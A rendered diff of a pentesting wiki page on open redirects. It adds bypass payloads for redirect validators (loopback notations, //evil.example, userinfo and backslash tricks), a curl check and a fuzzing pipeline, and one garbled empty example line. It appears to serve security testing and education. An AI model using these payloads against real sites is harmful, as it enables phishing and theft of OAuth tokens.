|
7 | 7 |
|
8 | 8 | ### Redirect to localhost or arbitrary domains |
9 | 9 |
|
| 10 | +- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target: |
| 11 | + - IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) |
| 12 | + - IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] |
| 13 | + - Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. |
| 14 | + - Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1. |
| 15 | +- Network-path references often bypass naive validators that prepend a scheme or only check prefixes: |
| 16 | + - //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme. |
| 17 | +- Userinfo tricks defeat contains/startswith checks against trusted hosts: |
| 18 | + - https://[email protected]/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld. |
| 19 | +- Backslash parsing confusion between frameworks/browsers: |
| 20 | + - https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches. |
10 | 21 |
|
11 | 22 | {{#ref}} |
12 | 23 | ssrf-server-side-request-forgery/url-format-bypass.md |
13 | 24 | {{#endref}} |
14 | 25 |
|
15 | | -### Open Redirect to XSS |
| 26 | +### Modern open-redirect to XSS pivots |
16 | 27 |
|
17 | 28 | ```bash |
18 | 29 | #Basic payload, javascript code is executed after "javascript:" |
@@ -60,6 +71,34 @@ javascript://whitelisted.com?%a0alert%281%29 |
60 | 71 | ";alert(0);// |
61 | 72 | ``` |
62 | 73 |
|
| 74 | +<details> |
| 75 | +<summary>More modern URL-based bypass payloads</summary> |
| 76 | +
|
| 77 | +```text |
| 78 | +# Scheme-relative (current scheme is reused) |
| 79 | +//evil.example |
| 80 | +
|
| 81 | +# Credentials (userinfo) trick |
| 82 | + |
| 83 | +
|
| 84 | +# Backslash confusion (server validates, browser normalizes) |
| 85 | +https://trusted.example\@evil.example/ |
| 86 | +
|
| 87 | +# Schemeless with whitespace/control chars |
| 88 | +evil.example%00 |
| 89 | +%09//evil.example |
| 90 | +
|
| 91 | +# Prefix/suffix matching flaws |
| 92 | +https://trusted.example.evil.example/ |
| 93 | +https://evil.example/trusted.example |
| 94 | +
|
| 95 | +# When only path is accepted, try breaking absolute URL detection |
| 96 | +/\\evil.example |
| 97 | +/..//evil.example |
| 98 | +``` |
| 99 | +``` |
| 100 | +</details> |
| 101 | +
|
63 | 102 | ## Open Redirect uploading svg files |
64 | 103 |
|
65 | 104 | ```html |
@@ -173,18 +212,78 @@ exit; |
173 | 212 | ?> |
174 | 213 | ``` |
175 | 214 |
|
| 215 | +## Hunting and exploitation workflow (practical) |
| 216 | +
|
| 217 | +- Single URL check with curl: |
| 218 | +
|
| 219 | +```bash |
| 220 | +curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" |
| 221 | +``` |
| 222 | +
|
| 223 | +- Discover and fuzz likely parameters at scale: |
| 224 | +
|
| 225 | +<details> |
| 226 | +<summary>Click to expand</summary> |
| 227 | +
|
| 228 | +```bash |
| 229 | +# 1) Gather historical URLs, keep those with common redirect params |
| 230 | +cat domains.txt \ |
| 231 | + | gau --o urls.txt # or: waybackurls / katana / hakrawler |
| 232 | +
|
| 233 | +# 2) Grep common parameters and normalize list |
| 234 | +rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ |
| 235 | + | sed 's/\r$//' | sort -u > candidates.txt |
| 236 | +
|
| 237 | +# 3) Use OpenRedireX to fuzz with payload corpus |
| 238 | +cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt |
| 239 | +
|
| 240 | +# 4) Manually verify interesting hits |
| 241 | +awk '/30[1237]|Location:/I' results.txt |
| 242 | +``` |
| 243 | +``` |
| 244 | +</details> |
| 245 | +
|
| 246 | +- Don’t forget client-side sinks in SPAs: look for window.location/assign/replace and framework helpers that read query/hash and redirect. |
| 247 | +
|
| 248 | +- Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input. |
| 249 | +
|
| 250 | +{{#ref}} |
| 251 | +../network-services-pentesting/pentesting-web/nextjs.md |
| 252 | +{{#endref}} |
| 253 | +
|
| 254 | +- OAuth/OIDC flows: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide: |
| 255 | +
|
| 256 | +{{#ref}} |
| 257 | +./oauth-to-account-takeover.md |
| 258 | +{{#endref}} |
| 259 | +
|
| 260 | +- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for: |
| 261 | +
|
| 262 | +```html |
| 263 | +<meta http-equiv="refresh" content="0;url=//evil.example"> |
| 264 | +<script>location = new URLSearchParams(location.search).get('next')</script> |
| 265 | +``` |
| 266 | +
|
176 | 267 | ## Tools |
177 | 268 |
|
178 | 269 | - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) |
| 270 | +- OpenRedireX – fuzzer for detecting open redirects. Example: |
| 271 | +
|
| 272 | +```bash |
| 273 | +# Install |
| 274 | +git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh |
179 | 275 |
|
180 | | -## Resources |
| 276 | +# Fuzz a list of candidate URLs (use FUZZ as placeholder) |
| 277 | +cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 |
| 278 | +``` |
| 279 | +
|
| 280 | +## References |
181 | 281 |
|
182 | | -- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists. |
| 282 | +- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists. |
183 | 283 | - [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) |
184 | 284 | - [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) |
185 | 285 | - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) |
186 | | -
|
| 286 | +- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection |
| 287 | +- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX |
187 | 288 |
|
188 | 289 | {{#include ../banners/hacktricks-training.md}} |
189 | | -
|
190 | | -
|
|
0 commit comments